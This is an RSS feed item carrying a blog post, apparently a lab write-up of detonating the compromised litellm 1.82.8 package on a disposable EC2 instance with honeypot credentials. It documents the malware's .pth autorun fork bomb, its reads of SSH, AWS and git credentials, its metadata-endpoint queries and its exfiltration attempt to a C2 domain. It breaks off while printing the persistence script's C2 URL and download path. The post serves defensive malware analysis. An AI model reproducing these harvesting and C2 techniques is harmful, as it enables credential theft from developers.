<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Tarek CHEIKH</title>
    <description>The latest articles on DEV Community by Tarek CHEIKH (@tarekcheikh).</description>
    <link>https://dev.to/tarekcheikh</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3320159%2F8c21792a-333c-4cfe-bf51-47912a483b48.png</url>
      <title>DEV Community: Tarek CHEIKH</title>
      <link>https://dev.to/tarekcheikh</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/tarekcheikh"/>
    <language>en</language>
    <item>
      <title>We Detonated the Real LiteLLM Malware on EC2: Here’s What Happened</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Wed, 25 Mar 2026 03:27:48 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/we-detonated-the-real-litellm-malware-on-ec2-heres-what-happened-3mje</link>
      <guid>https://dev.to/tarekcheikh/we-detonated-the-real-litellm-malware-on-ec2-heres-what-happened-3mje</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv5ztm31lgtzz3zu7905h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv5ztm31lgtzz3zu7905h.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;We obtained the actual compromised litellm 1.82.7 and 1.82.8 packages, set up a disposable EC2 instance with honeypot credentials and mitmproxy, and detonated the malware. This is what we captured.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why we did this
&lt;/h3&gt;

&lt;p&gt;Reading security advisories tells you what the malware is supposed to do. Running it tells you what it actually does. We wanted to see every file read, every network connection, every process fork, not from a report, but from our own logs.&lt;/p&gt;

&lt;p&gt;We also wanted to answer a practical question: &lt;strong&gt;on a real EC2 instance with typical developer credentials, how fast does the damage happen?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The answer is 3 seconds. But we’re getting ahead of ourselves.&lt;/p&gt;

&lt;h3&gt;
  
  
  The lab setup
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The instance
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;EC2 t3.medium&lt;/strong&gt; (2 vCPU, 4 GB RAM), Ubuntu 22.04
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No IAM role&lt;/strong&gt; attached (to avoid real credential exposure)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security group&lt;/strong&gt; : SSH inbound only&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The tools
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Tool | Purpose |
|-------------|--------------------------------------------------------|
| mitmproxy | Intercept and log all HTTPS traffic |
| inotifywait | Watch credential files for reads in real-time |
| strace | Trace every syscall (file opens, forks, network calls) |
| tcpdump | Capture raw packets (DNS, IMDS queries) |
| auditd | Kernel-level audit trail for credential file access |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  The honeypot credentials
&lt;/h4&gt;

&lt;p&gt;We planted fake credentials in every location the malware is known to target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/.ssh/id_rsa Fake SSH private key
~/.ssh/id_ed25519 Fake SSH private key
~/.ssh/config Fake SSH host configs
~/.aws/credentials Fake AWS access keys (two profiles)
~/.aws/config Fake AWS config with role ARN
~/.kube/config Fake Kubernetes cluster config
~/.env Fake API keys (OpenAI, Anthropic, Stripe, DB)
~/.git-credentials Fake GitHub token
~/.docker/config.json Fake Docker registry auth
~/.pgpass Fake PostgreSQL passwords
~/.my.cnf Fake MySQL credentials
~/.npmrc Fake npm token
~/project/terraform.tfvars Fake Terraform secrets
~/.bash_history Commands with "accidental" passwords
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every credential contains the word “HONEYPOT” or “FAKE” so we can easily identify them in captured traffic.&lt;/p&gt;

&lt;p&gt;We also set &lt;code&gt;**_AWS\_ACCESS\_KEY\_ID_**&lt;/code&gt; and &lt;code&gt;**_AWS\_SECRET\_ACCESS\_KEY_**&lt;/code&gt; in the shell environment, the malware checks environment variables too.&lt;/p&gt;

&lt;h4&gt;
  
  
  Starting the monitors
&lt;/h4&gt;

&lt;p&gt;Before installing anything malicious, we started all five monitoring tools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# mitmproxy on port 8080&lt;/span&gt;
mitmdump &lt;span class="nt"&gt;-w&lt;/span&gt; ~/lab/captures/traffic.flow &lt;span class="nt"&gt;--set&lt;/span&gt; &lt;span class="nv"&gt;flow_detail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3 &lt;span class="nt"&gt;-p&lt;/span&gt; 8080 &amp;amp;

&lt;span class="c"&gt;# tcpdump for DNS, HTTPS, and IMDS traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; any &lt;span class="nt"&gt;-w&lt;/span&gt; ~/lab/captures/raw.pcap &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'port 53 or port 443 or port 80 or host 169.254.169.254'&lt;/span&gt; &amp;amp;

&lt;span class="c"&gt;# Filesystem watcher on all credential locations&lt;/span&gt;
inotifywait &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;--format&lt;/span&gt; &lt;span class="s1"&gt;'%T %w%f %e'&lt;/span&gt; &lt;span class="nt"&gt;--timefmt&lt;/span&gt; &lt;span class="s1"&gt;'%H:%M:%S'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  ~/.ssh ~/.aws ~/.kube ~/.env ~/.docker ~/.pgpass ~/.npmrc /tmp/ &amp;amp;

&lt;span class="c"&gt;# Process tree snapshot every second&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;ps auxf &lt;span class="nt"&gt;--cols&lt;/span&gt; 200&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;sleep &lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; processes.log &amp;amp;

&lt;span class="c"&gt;# Audit rules for credential access&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; ~/.ssh/ &lt;span class="nt"&gt;-p&lt;/span&gt; r &lt;span class="nt"&gt;-k&lt;/span&gt; ssh_access
&lt;span class="nb"&gt;sudo &lt;/span&gt;auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; ~/.aws/ &lt;span class="nt"&gt;-p&lt;/span&gt; r &lt;span class="nt"&gt;-k&lt;/span&gt; aws_access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmk3n15kwgg5twtozfx0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmk3n15kwgg5twtozfx0.png" width="800" height="495"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: All monitors running, process tree before detonation&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Run 1: The fork bomb
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Installation
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv ~/lab/malware-venv
&lt;span class="nb"&gt;source&lt;/span&gt; ~/lab/malware-venv/bin/activate
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-deps&lt;/span&gt; ~/lab/malware/litellm-1.82.8-py3-none-any.whl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;pip installs the package normally. No warnings, no errors. But now &lt;code&gt;**_litellm\_init.pth_**&lt;/code&gt; sits in &lt;code&gt;**_site-packages/_**&lt;/code&gt;, armed and waiting.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;find ~/lab/malware-venv &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.pth"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;span class="go"&gt;-rw-rw-r-- 1 ubuntu ubuntu 34628 litellm_init.pth
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;34,628 bytes of base64-encoded malware, ready to fire on the next Python command.&lt;/p&gt;

&lt;h4&gt;
  
  
  Detonation
&lt;/h4&gt;

&lt;p&gt;We set the proxy environment variables so traffic routes through mitmproxy, then trigger:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;HTTPS_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://127.0.0.1:8080
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"print('hello world')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A completely innocent command. And then the machine starts dying.&lt;/p&gt;

&lt;h4&gt;
  
  
  The fork bomb in real-time
&lt;/h4&gt;

&lt;p&gt;The filesystem watcher lit up immediately:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2At71N2SnSR6zzlL-X63DCOw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2At71N2SnSR6zzlL-X63DCOw.png" width="800" height="492"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Filesystem log showing pip install followed by the .pth triggering&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The process monitor captured the exponential growth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22:19:11 -&amp;gt; 3 python3 processes (normal: mitmproxy + system)
22:19:12 -&amp;gt; 14 DETONATION
22:19:13 -&amp;gt; 55 exponential growth
22:19:14 -&amp;gt; 83
22:19:15 -&amp;gt; 133
22:19:16 -&amp;gt; 157
22:19:18 -&amp;gt; 194
22:19:19 -&amp;gt; 220
22:19:20 -&amp;gt; 272
22:19:25 -&amp;gt; 390
22:19:30 -&amp;gt; 509
22:19:50 -&amp;gt; 891
                                     machine dead
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3 to 891 Python processes in 38 seconds.&lt;/strong&gt; Each &lt;code&gt;**_.pth_**&lt;/code&gt; trigger spawns a &lt;code&gt;**_Popen_**&lt;/code&gt;, which starts a new Python, which triggers the &lt;code&gt;**_.pth_**&lt;/code&gt; again.&lt;/p&gt;

&lt;p&gt;SSH became unresponsive. We couldn’t even run &lt;code&gt;**_kill_**&lt;/code&gt;. We had to force stop the instance from the AWS Console.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AwfDD8ZguR3ca3KtT3VeqxA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AwfDD8ZguR3ca3KtT3VeqxA.png" width="800" height="419"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: AWS Console showing the instance in “Stopping” state after the fork bomb&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  But the credentials were already stolen
&lt;/h4&gt;

&lt;p&gt;Even during the chaos, every forked process ran the harvester independently. The filesystem log shows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22:19:14 .ssh/id_rsa OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .ssh/id_ed25519 OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .ssh/config OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .git-credentials OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .gitconfig OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .aws/credentials OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .aws/config OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .env OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:15 .docker/ OPEN, ACCESS, CLOSE &amp;lt;- SCANNED
22:19:15 .kube/ OPEN, ACCESS, CLOSE &amp;lt;- SCANNED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;All credentials harvested in under 2 seconds.&lt;/strong&gt; Then each of the 891 forked processes tried to do the same thing again, which is what consumed all the memory.&lt;/p&gt;

&lt;p&gt;The strace log confirmed it at the syscall level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;5128 22:19:14.293419 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_rsa", O_RDONLY)
5128 22:19:14.308065 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_ed25519", O_RDONLY)
5128 22:19:14.641115 openat(AT_FDCWD, "/etc/ssh", O_RDONLY|O_DIRECTORY)
5128 22:19:14.656340 openat(AT_FDCWD, "/etc/ssh/ssh_host_ecdsa_key", O_RDONLY)
5128 22:19:14.660708 openat(AT_FDCWD, "/etc/ssh/ssh_host_ed25519_key", O_RDONLY)
5128 22:19:14.666879 openat(AT_FDCWD, "/etc/ssh/ssh_host_rsa_key", O_RDONLY)
5128 22:19:14.804001 openat(AT_FDCWD, "/home/ubuntu/.aws/credentials", O_RDONLY)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware even went after the &lt;strong&gt;system SSH host keys&lt;/strong&gt; in &lt;code&gt;**_/etc/ssh/_**&lt;/code&gt;. On a server, this means the attacker could impersonate it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recovery
&lt;/h3&gt;

&lt;p&gt;To recover from the fork bomb:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Force stop&lt;/strong&gt; the instance from AWS Console (SSH is dead)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Start&lt;/strong&gt; it again (it gets a new public IP)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Immediately&lt;/strong&gt; SSH in and delete the .pth: &lt;code&gt;**_rm ~/lab/malware-venv/lib/python3.10/site-packages/litellm\_init.pth_**&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The instance is now safe&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The .pth file lives inside the venv, not the system Python. So a regular &lt;code&gt;**_python3_**&lt;/code&gt; outside the venv won’t trigger it. But you must delete it before activating the venv again.&lt;/p&gt;

&lt;h3&gt;
  
  
  Run 2: Controlled detonation
&lt;/h3&gt;

&lt;p&gt;With the .pth bomb defused, we ran the decoded payload directly, single process, no fork bomb.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;HTTPS_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://127.0.0.1:8080
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AKIAHONEYPOT_ENV_VAR_X
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;FAKE_ENV_SECRET_FOR_LAB

python3 ~/lab/malware/decoded_payload.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  What mitmproxy captured
&lt;/h4&gt;

&lt;p&gt;This is the single most important piece of evidence from the lab:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AMxilErx1BlPGstR3v8AIiA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AMxilErx1BlPGstR3v8AIiA.png" width="800" height="489"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: mitmproxy showing all intercepted traffic — IMDS, AWS APIs, C2 exfiltration&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s go through each request:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 1: EC2 IMDS query (curl)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
-&amp;gt; 404 Not Found (no IAM role attached to our instance)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware’s first move: check if the instance has an IAM role. If it did, it would steal the temporary credentials. On any EC2 instance without IMDSv2 enforced, this works silently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 2: IMDSv2 token (Python urllib)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;PUT http://169.254.169.254/latest/api/token
X-Aws-Ec2-Metadata-Token-Ttl-Seconds: 21600
-&amp;gt; 200 OK (token returned!)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware is smart: it tries both IMDSv1 (simple GET) and IMDSv2 (PUT for token first). It successfully obtained an IMDSv2 token from our instance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 3: IAM credentials with token&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-Aws-Ec2-Metadata-Token: AQAEAOKJVhjTgs424B9...
-&amp;gt; 404 Not Found (still no role)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Request 4: AWS Secrets Manager&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;CONNECT secretsmanager.us-east-1.amazonaws.com:443
-&amp;gt; TLS handshake error (our honeypot keys are not real)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware tried to dump every secret in AWS Secrets Manager using SigV4 signed requests. It failed because our fake AWS keys can’t authenticate. With real keys, this would dump every secret.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 5: AWS SSM Parameter Store&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;CONNECT ssm.us-east-1.amazonaws.com:443
-&amp;gt; TLS handshake error (fake keys)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same thing, tried to dump all SSM parameters. Failed for the same reason.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 6: Exfiltration to C2&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;CONNECT models.litellm.cloud:443
-&amp;gt; "Name or service not known" (domain is down)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The big one. The malware tried to POST the encrypted credential archive (&lt;code&gt;**_tpcp.tar.gz_**&lt;/code&gt;) to the attacker’s C2 server. The domain &lt;code&gt;**_models.litellm.cloud_**&lt;/code&gt; was already seized or taken down.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 7: ECS credentials&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET http://169.254.170.2/
-&amp;gt; Connection timed out
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware also tried the ECS container credentials endpoint, in case it was running inside an ECS task.&lt;/p&gt;

&lt;h4&gt;
  
  
  What htop showed
&lt;/h4&gt;

&lt;p&gt;While the malware was running, htop revealed what it was doing in real-time:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ASqpRaVPtye80wNH4yRIuOA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ASqpRaVPtye80wNH4yRIuOA.png" width="800" height="503"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: htop showing the malware searching for cryptocurrency wallet credentials&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The top process: &lt;code&gt;**_grep -r rpcuser|rpcpassword|rpcauth /root /home_**&lt;/code&gt;: the malware was &lt;strong&gt;recursively searching the entire filesystem for cryptocurrency RPC credentials&lt;/strong&gt;. Bitcoin, Ethereum, Solana wallet configurations use &lt;code&gt;**_rpcuser_**&lt;/code&gt; and &lt;code&gt;**_rpcpassword_**&lt;/code&gt; fields.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AG0bNxLcDXxPV-hUZJywsPQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AG0bNxLcDXxPV-hUZJywsPQ.png" width="800" height="499"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: htop showing strace at 100% CPU while tracing the malware&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Filesystem evidence
&lt;/h4&gt;

&lt;p&gt;The filesystem watcher from Run 2 confirmed the credential theft:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;23:02:33 .ssh/id_rsa OPEN, ACCESS, CLOSE
23:02:33 .ssh/id_ed25519 OPEN, ACCESS, CLOSE
23:02:33 .ssh/config OPEN, ACCESS, CLOSE
23:02:33 .git-credentials OPEN, ACCESS, CLOSE
23:02:33 .gitconfig OPEN, ACCESS, CLOSE
23:02:33 .aws/credentials OPEN, ACCESS, CLOSE
23:02:33 .aws/config OPEN, ACCESS, CLOSE
23:02:33 .env OPEN, ACCESS, CLOSE
23:02:33 .docker/ OPEN, CLOSE (directory scan)
23:02:33 .kube/ OPEN, CLOSE (directory scan)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All within the same second. The harvester is fast.&lt;/p&gt;

&lt;h3&gt;
  
  
  Run 3: Persistence analysis
&lt;/h3&gt;

&lt;p&gt;We ran the payload one more time to see if the persistence mechanism would install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; ~/.config/sysmon ~/.config/systemd/user/sysmon.service
python3 ~/lab/malware/decoded_payload.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AZACt_S9cKYD6r5Pn9A7Q7A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AZACt_S9cKYD6r5Pn9A7Q7A.png" width="800" height="293"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: sysmon.py created but 0 bytes&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The malware created &lt;code&gt;**_~/.config/sysmon/sysmon.py_**&lt;/code&gt; and the &lt;code&gt;**_~/.config/systemd/user/_**&lt;/code&gt; directory. But &lt;code&gt;**_sysmon.py_**&lt;/code&gt; was 0 bytes, the persistence write failed silently (the &lt;code&gt;**_except: pass_**&lt;/code&gt; in the harvester swallowed the error).&lt;/p&gt;

&lt;p&gt;We decoded the persistence payload manually. Here is what &lt;code&gt;**_sysmon.py_**&lt;/code&gt; would contain on a real victim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;C_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://checkmarx.zone/raw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# C2 (Command and Control) server
&lt;/span&gt;&lt;span class="n"&gt;TARGET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/pglog&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# Downloaded payload
&lt;/span&gt;&lt;span class="n"&gt;STATE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/.pg_state&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# Dedup state
&lt;/span&gt;
